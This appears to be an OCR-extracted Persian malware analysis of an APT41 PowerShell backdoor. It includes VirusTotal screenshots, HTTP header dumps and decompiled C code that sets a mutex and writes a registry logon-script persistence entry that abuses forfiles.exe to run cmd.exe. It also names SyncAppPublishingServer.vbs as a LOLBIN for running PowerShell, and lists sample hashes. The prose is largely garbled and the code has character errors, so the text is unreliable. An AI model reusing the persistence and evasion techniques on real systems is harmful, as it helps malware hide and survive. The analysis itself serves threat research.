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e’ https:/fraw githubusercontent.com/efimovah/abed/main/xo gif 404 2023-05-02 05:35:50 UTC C}
Status 2 days ago (?

raw.githubusercontent.com
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Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.
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HTTP Response (1)

Final URL

https://raw.githubusercontent.com/efimovah/abed/main/xxx.gif

Serving IP Address
185.199.108.133

Status Code
404

Body Length
14 B
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d5558cd419cBd46bdc958064ch97f963d12a793866414c025906ec1 503351 2ed

il oo ) 7 o Olelb

iabed jlamio LSl Gl @ 590 e plulid Ojg0 0 a5 00,5 WS (o JL8 1, XSS 2ld
&S cxe opl @00 S eolaiwl cewl 5L 2 Opcode cache G 45" Xcache 1 .auS oo (6,5 ol> axan
6,053 L PHP (slaces Siol LLalS ole; 83> L XCache .S o a s bojgp 45 |, PHP & Shoe
s 5l XCaChe «rizmon w5 oo aige |, 5,Skee SHM (RAM) s Ll ooty JlalS cdls 0,5
a3 oo Lialidl 4l 0 B amis adgi ol a5 S o oslined RAM | Logiies oas LLalS
Cache Hit .aas oo 205 1, 5 Jb g 035 oo aga |, PHP sla ooy Sl Gilisee slo acim pizmon
b osls Jlis 4 CPU ol oS caulss o 1) lellbl 538 o5 b asliy G a5 ans 0 &, Sbo)
cache ,o twlss s slo ools 51 .05,5 oo «cenl adsl CACHE Ugoo a5 55 abidls e o 250055
aS 05,5 oolarl coonection:keep alive ;I .asgs o aid )3 Ll o cache hit G olgie 4 gl <8l
ans o ol 1 b bl ahl gl 3l Syee loy 5 S e Lais |y g w5 clS S o bLS)
SoalS 4 e a5 was e 2alS |, SSLITLS § TCP Jlasl sle ceulss 8 slaws faimran (ool Jlas]
Syabe g yw 3p (St 38es Gl g @ e Slbls )l Bua 09d (o0 RTT) ctS 5 28 oo
5 Slw! sla LB g oS 0,53 virtual memory (gg, 1) oolo B 05,5 solaiwl Varnish ;1 .caul ooy
o DiSee hjlen (LTl SUL e ez 0 g 5 ao e slews |, la @nONymMous page-views
5 0dd eudas NOSNIff 54, X-Content-Type-Options ,us .l 43,5 1) sandboX laswe jo |2l gol>
oolaiwl cwl oals iy ,a5 Content-Type joo jo a5 MIME g¢ 3l alian a5 020 oo j55wd 5 950 4
o VarywsS s LB Glgse  wlel 5 1) MIME g5 oS a0 &S0l & oS
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Headers

Content-Length
X-X55-Protection
X-Cache

Accept-Ranges
Strict-Transport-Security
Source-Age

Connection

Via

#-Cache-Hits
Access-Contral-Allow-Origin
Expires

®-Served-By
Content-Security-Policy
X-Content-Type-Options
X-GitHub-Request-id
K-Timer

Vary

#-Fastly-Request-ID
Date

Content-Type

X-Frame-Options

14

1; mode=block

HIT

bytes

max-age=31536000

a

keep-alive

1.1 varnish

1

N

Tue, 02 May 2023 05:40:571 GMT
cache-chi-klotB100157-CHI

default-src 'none’; style-src 'unsafe-inline’; sandbox
nosniff

EDFA9E89Y 1583701 9A54 64504137
S1683005752.787697 VSO VED

Authorization, Accept-Encoding,Origin
2al16ebbdB8052d28380285e17f56031f2f96ddd3a
Tue, 02 May 2023 05:35:51 GMT

text/plain; charset=utf-8

deny
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(©) Mo security vendors flagged this URL as malicious W :l:
/89
http://ip-api.com/json 200 2023-05-01 06:45:37 UTC @
2
ip-api.com Status 3 days ago (4

Community Score

DETECTION DETAILS COMMUNITY 13+

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Security vendors' analysis (0 Do you want to automate checks?
Abusix @ Clean Acronis @ Clean
ADMINUSLabs (9) Clean AICC (MONITORAPP) (9) Clean
Alienvault @ Clean alphaMountain.ai @ Clean
Alphasoc ) clean Antiy-AVL () clean

L oablis johaie 4 baylojle slp 698 siwinl Sleladl coenl 5 APTAL 04,5 PowerShell aid o, iy o0 ale>
A58l o a8 iy Slagags
09,5 »l buaily g gaiedan FVV Jlu o Equifax slesls ot dle jeguive (6 el Slles

Des oo lis 1) e>lee

ol aS e oolaiwl wlaedgr SLST Gl 58y cpl waze ol ooyl 1 6,8 sl 5 ansid | 5 sl
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Wb oo ails Tl ) lade pols caS5L Ll 38900 mutex oll ST > pl b

int _ stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int

if ( !CreateMutexA(®, @, "v653Bmua-531CY7Vq-tgSAaiwC-55q3D4b6™) )
return 1;

if ( (unsigned _ int8)sub_481ee8() )
Sleep(@x3E8u);

return @;

}

b oddsl S Sl Geany (syenz; 50 055 lasl Slains Gols 13 L sgs gl anTE il
Ded ca s slwesly "forfiles.exe” ol 4 LOLBIN o ;i eslawl L (payload)

5l ey ollele a5 axts Lol ceitaw slayl3l s Lolbin b « living-off-the-land-binaries» ! sl
QS o ool Sgild i slacudlas abxl gl lagy]

if ( RegOpenKeyExA(HKEY_CURRENT_USER, “"Environment™, @, '\x@F\@?', &phkResult) )
return 0;

if ( RegSetValueExA(

F 115,
"UserInitMprlLogonScript”,
e,
1u,
“C:\\Windows\\system32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> Rappdata%"
"\\z.abcd && Xappdata®\\z.abcd && del Xappdata¥\\z.abcd && exit\"",
strlen("C:\\Windows\\system32\\forfiles.exe /p c:\\windows\\system32 /m notepad.exe /c \"cmd.exe /c whoami >> %a"
“ppdata¥%\\z.abcd && Xappdata%\\z.abcd && del Xappdata¥\\z.abcd &8 exit\"")
+1)

AV Gl Boa aly o 5 wiS 1ol 56 1) Shsiws Wl ae 9 o oolitul gaxins sl Gawe a5 Forfiles |3
28 o LOLBINS 5l solawl b bypass
4, HKCU\Environment\UserInitMprLogonScript oS 5 )b 5l g 45 95,5 sl j0 09> b 4y jgiws SO
.oyéuflf?hj)KqAA)QAu
L PowerShell suis 5,135 50, ,L "HKEY_CLASSES_ROOT\abcdfile\shell\open\command\abcd" <oy
:J&&L;adlﬁLu(s)j;o LOLBIN ;! eolazwl

SyncAppPublishingServer.vbs e
A3 5l g asS el |, oluls b slaolKiws wilgs so a5 sl PowerShell G late e i oy0 S5 (ol b

&S solawl C2 39 ulj_..c Lel
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https://lolbas-project.github.io/
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+ SHA-256 HASH: bb3d35cba3434f053280fc2887a7e6be7035053852184da4960e8
s db533cf4428

+ SHA-256 HASH: d71f6fbcOdea34687080a2el 2bf326066f6841d51294bd665261e0
s 728145%eeb
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[1] https://cybersecuritynews.com/apt41s-powershell-backdoor/
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